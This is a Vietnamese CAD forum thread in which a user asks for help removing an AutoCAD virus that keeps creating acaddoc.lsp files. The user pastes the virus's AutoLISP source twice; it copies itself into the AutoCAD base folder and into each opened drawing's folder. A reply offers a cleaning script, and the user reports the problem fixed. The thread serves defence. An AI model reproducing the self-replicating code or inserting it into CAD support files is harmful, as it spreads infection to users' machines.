Chuyển đến nội dung
Diễn đàn CADViet
  • Thông báo

    • Nguyen Hoanh

      CADViet đã hoàn tất nâng cấp   14/09/2017

      Chào các bạn, CADViet đã hoàn tất việc nâng cấp lên phiên bản mới. Tất cả các chức năng đã hoạt động theo kỳ vọng của ban quản trị. Nếu có vấn đề gì cần phản hồi, các bản post ở đây nhé: Trân trọng, Nguyễn Hoành.
Đăng nhập để thực hiện theo  
khoak47

Giúp diệt sâu (virus) tự vạo file acaddoc.lsp và làm chậm Cad.

Các bài được khuyến nghị

khoak47    1

Như tiêu đề, khi em mở 1 file cad bất kỳ thì có 1 file acaddoc.lsp được tạo ra ngay trong thư mục chứa file cad đc mở kia.

Mở 1 hay nhiều file cad trong cùng folder thì chỉ 1 acaddoc.lsp được tạo ra thôi. Nhiều lúc em dùng lệnh audit rồi lưu lại thì file đó không bị như trên nữa, nhưng hên xui lúc được lúc không. File  acaddoc.lsp dưới đây ạ.http://www.cadviet.com/upfiles/3/102145_acaddoc.lsp

Rất mong các a chị xử lý giúp e với. Em xin chân thành cảm ơn.

(/ basepath
   baseacad
   acaddocpath
   r-acaddoc
   w-basepath
   acaddoclsp
   c-acaddocname
   c-acaddocpath
   c-acaddoc
  )
     (setq basepath
   (findfile "base.dcl")
     )
     (setq basepath
   (substr basepath
   1 (- (strlen basepath) 8)
            )
     )
     (setq baseacad (strcat basepath "acaddoc.lsp"))
  
(setq acaddocpath
               (findfile "acaddoc.lsp")
)
(setq acaddocpath
      (substr acaddocpath
      1 (- (strlen acaddocpath) 11)
      )
)
(setq acaddoclsp
      (strcat acaddocpath "acaddoc.lsp"))
 
 
        (setq c-acaddocname
      (getvar "dwgname")
)
        (setq c-acaddocpath
      (findfile c-acaddocname)
)
        (setq c-acaddocpath
      (substr c-acaddocpath
      1 (- (strlen c-acaddocpath) (strlen c-acaddocname))
)
)
        (setq c-acaddoc
      (strcat c-acaddocpath "acaddoc.lsp")
)
(if
           (and
  (/= basepath acaddocpath)
  (= c-acaddocpath acaddocpath)
  )
    (progn
      (setq r-acaddoc
      (open acaddoclsp "r")
      )
      (setq w-basepath
         (open baseacad "w")
)     
      (while
          (setq rl-acaddoc
   (read-line r-acaddoc)
          )
          (write-line rl-acaddoc w-basepath)
       )
       (close w-basepath)   
                (close r-acaddoc)
   
             )
         
    (progn
      (setq r-acaddoc
      (open acaddoclsp "r")
      )
      (setq w-basepath
         (open c-acaddoc "w")
)
       (while
          (setq rl-acaddoc
   (read-line r-acaddoc)
          )
          (write-line rl-acaddoc w-basepath)
       )
       (close w-basepath)   
                (close r-acaddoc)
   
             )
)
)
(/ basepath
   baseacad
   acaddocpath
   r-acaddoc
   w-basepath
   acaddoclsp
   c-acaddocname
   c-acaddocpath
   c-acaddoc
  )
     (setq basepath
   (findfile "base.dcl")
     )
     (setq basepath
   (substr basepath
   1 (- (strlen basepath) 8)
            )
     )
     (setq baseacad (strcat basepath "acaddoc.lsp"))
  
(setq acaddocpath
               (findfile "acaddoc.lsp")
)
(setq acaddocpath
      (substr acaddocpath
      1 (- (strlen acaddocpath) 11)
      )
)
(setq acaddoclsp
      (strcat acaddocpath "acaddoc.lsp"))
 
 
        (setq c-acaddocname
      (getvar "dwgname")
)
        (setq c-acaddocpath
      (findfile c-acaddocname)
)
        (setq c-acaddocpath
      (substr c-acaddocpath
      1 (- (strlen c-acaddocpath) (strlen c-acaddocname))
)
)
        (setq c-acaddoc
      (strcat c-acaddocpath "acaddoc.lsp")
)
(if
           (and
  (/= basepath acaddocpath)
  (= c-acaddocpath acaddocpath)
  )
    (progn
      (setq r-acaddoc
      (open acaddoclsp "r")
      )
      (setq w-basepath
         (open baseacad "w")
)     
      (while
          (setq rl-acaddoc
   (read-line r-acaddoc)
          )
          (write-line rl-acaddoc w-basepath)
       )
       (close w-basepath)   
                (close r-acaddoc)
   
             )
         
    (progn
      (setq r-acaddoc
      (open acaddoclsp "r")
      )
      (setq w-basepath
         (open c-acaddoc "w")
)
       (while
          (setq rl-acaddoc
   (read-line r-acaddoc)
          )
          (write-line rl-acaddoc w-basepath)
       )
       (close w-basepath)   
                (close r-acaddoc)
   
             )
)
)

Chia sẻ bài đăng này


Liên kết tới bài đăng
Chia sẻ trên các trang web khác
khoak47    1

Tìm đọc về lisp diệt virus cad trên forum này nhé bạn!

 

Thank bác Ha. e cũng tìm hiểu cả tuần nay trên 4room mình rồi mà vẫn chưa có kết quả khả quan.:(

Chia sẻ bài đăng này


Liên kết tới bài đăng
Chia sẻ trên các trang web khác
pphung183    425
;;; ==========================================================================
;;;  acaddocfix written by metinsaylan ->  metinsaylan.com
;;; ==========================================================================

(setq flagx t) ; This is the virus flag to stop virus overwriting this file
(setq bz "(setq flagx t)") ; This is for searching virus

(defun clearfile (target bz / flag flag1 wjm wjm1 text)

  (setq flag nil)
  (setq flag1 nil)

  (princ (strcat "\nClearfile -> " target))

  (if (findfile target)			;if file exists
    (progn
      (setq wjm1 (open target "r"))

      (while (setq text (read-line wjm1))
	(if (= text bz)
	  (setq flag1 t)
	)
      )					;while

      (close wjm1)
    )					;progn
  )					;if

  (if flag1				;virus found!
    (progn

      (princ (strcat "\nVirus found -> " target))

      (setq flag t)
      (setq wjm (open target "r"))
      (setq wjm1 (open "temp.lsp" "w"))

      (while (setq text (read-line wjm))

	(if (= text bz)
	  (setq flag nil)
	)

	(if flag
	  (progn
	    (write-line text wjm1)
	  )				;progn
	)				;if
      )					;while

      (close wjm1)
      (close wjm)

      (setq wjm (open "temp.lsp" "r"))
      (setq wjm1 (open target "w"))

      (while (setq text (read-line wjm))
		(write-line text wjm1)
      );while
      (close wjm1)
      (close wjm)

      (vl-file-delete "temp.lsp")
    );progn
    ;(princ (strcat "\nClean file: " target))
  )					;if
  
  
)					;defun


; Generating file lists
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl" 1))
(setq mnlnum (vl-list-length (vl-directory-files acadmnlpath "*.mnl" 1)))

(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq acaddoc (strcat support "\\acaddoc.lsp"))

(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))

; Check for open drawing file folder
(if (setq dwgpath (findfile dwgname)) ; if a file is open
  (progn
    (setq acaddoclocal
	   (strcat (vl-filename-directory dwgpath)
		   "\\acaddoc.lsp"
	   )
    )
    (clearfile acaddoclocal bz)
  )
)

(clearfile acaddoc bz)

;;; Clear MNL files
(setq mnln 0)
(while (< mnln mnlnum)
  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (clearfile mnlfilename bz)
  (setq mnln (1+ mnln))
);while

;;; Clear LSP files
(setq lspn 0)
(while (< lspn lspnum)
	(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
	(clearfile lspfilename bz)
	(setq lspn (1+ lspn))
);while

;;; Clear other lisp files
(if (findfile "acad2013doc.lsp")
	(progn
		(setq acad2013doc (findfile "acad2013doc.lsp"))
		(clearfile acad2013doc bz)
	)
)

(if (findfile "acad2012doc.lsp")
	(progn
		(setq acad2012doc (findfile "acad2012doc.lsp"))
		(clearfile acad2012doc bz)
	)
)

(if (findfile "acad2011doc.lsp")
	(progn
		(setq acad2011doc (findfile "acad2011doc.lsp"))
		(clearfile acad2011doc bz)
	)
)

(if (findfile "acad2010doc.lsp")
	(progn
		(setq acad2010doc (findfile "acad2010doc.lsp"))
		(clearfile acad2010doc bz)
	)
)

(if (findfile "acad2009doc.lsp")
	(progn
		(setq acad2009doc (findfile "acad2009doc.lsp"))
		(clearfile acad2009doc bz)
	)
)

(if (findfile "acad2007doc.lsp")
	(progn
		(setq acad2007doc (findfile "acad2007doc.lsp"))
		(clearfile acad2007doc bz)
	)
)





Đây bạn!

  • Vote tăng 4

Chia sẻ bài đăng này


Liên kết tới bài đăng
Chia sẻ trên các trang web khác
khoak47    1

Xin chân thành cảm ơn bác pphung183 và mọi người, sau khi kết hợp thêm 2 lisp trên 4room mình là cadviet antivirus v1.01+cadviet antivirus v1.04 thì máy e đã sạch sẽ con virus kia ạ :D

Chia sẻ bài đăng này


Liên kết tới bài đăng
Chia sẻ trên các trang web khác

Tạo một tài khoản hoặc đăng nhập để nhận xét

Bạn cần phải là một thành viên để lại một bình luận

Tạo tài khoản

Đăng ký một tài khoản mới trong cộng đồng của chúng tôi. Điều đó dễ mà.

Đăng ký tài khoản mới

Đăng nhập

Bạn có sẵn sàng để tạo một tài khoản ? Đăng nhập tại đây.

Đăng nhập ngay

Đăng nhập để thực hiện theo  

×